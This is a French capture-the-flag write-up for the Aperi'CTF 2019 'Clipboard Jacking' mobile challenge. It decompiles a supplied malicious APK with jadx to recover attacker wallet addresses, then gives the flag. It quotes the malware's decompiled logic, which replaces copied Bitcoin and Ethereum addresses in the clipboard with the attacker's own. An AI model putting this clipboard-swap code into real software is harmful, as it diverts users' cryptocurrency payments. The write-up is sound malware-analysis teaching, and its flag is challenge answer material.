Aperi’CTF 2019 - Clipboard Jacking
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | Clipboard Jacking | Mobile | 50 | 18 |
La communauté AperiWallet a été victime d’une campagne d’attaques ciblées. Ces attaques se traduisent par la diffusion d’un malware implémentant du ClipboardJacking, afin d’altérer les transactions des utilisateur d’AperiWallet. Un technicien a réussi à récupérer la charge malveillante envoyée aux membres de la communauté. Votre but: récupérer les adresses de wallet crypto de l’attaquant.
Le flag est sous la forme APRK{SHA1(Adr1;Adr2)}
Note :
- Les adresses sont à trier dans l’ordre alphabétiques et en minuscules
- Veillez à ne pas insérer de doublons
Challenge: ClipboardJacking.apk - md5sum: a2e19fddae214175ae8247021e21d174
TL;DR
Chargez le fichier apk avec jadx, lisez le code source et calculez le flag.
Ouvrir le fichier avec Jadx
jadx-gui ClipboardJacking.apk

Rechercher la MainActivity
On peut trouver la MainActivity de l’application ici :
com > lemon.metamask > Activity > MainActivity

Identification des adresses
On peut identifier plusieurs adresses à la ligne 74 :
if (valueOf.equals("1") && length == 34) {
clipboardManager.setPrimaryClip(ClipData.newPlainText("btc", "1Pha3yFmC7pDafzrK2wtNfnjLUeAooJsYz"));
} else if (valueOf.equals("3") && length == 34) {
clipboardManager.setPrimaryClip(ClipData.newPlainText("btc", "1Pha3yFmC7pDafzrK2wtNfnjLUeAooJsYz"));
} else if (valueOf2.equals("0x") && length == 42) {
clipboardManager.setPrimaryClip(ClipData.newPlainText("eth", "0x1e0e276d26bc6bca54cc73e00f01f6ecb25a0e88"));
} else {
Log.i("METAL", charSequence);
}
On peut en extraire 2 adresses :
- BTC: 1Pha3yFmC7pDafzrK2wtNfnjLUeAooJsYz
- ETH: 0x1e0e276d26bc6bca54cc73e00f01f6ecb25a0e88
Calculer le flag
echo -n "0x1e0e276d26bc6bca54cc73e00f01f6ecb25a0e88;1Pha3yFmC7pDafzrK2wtNfnjLUeAooJsYz" | sha1sum
67ef366aee982ec98851b767573137aa6ab7b255
Flag
APRK{67ef366aee982ec98851b767573137aa6ab7b255}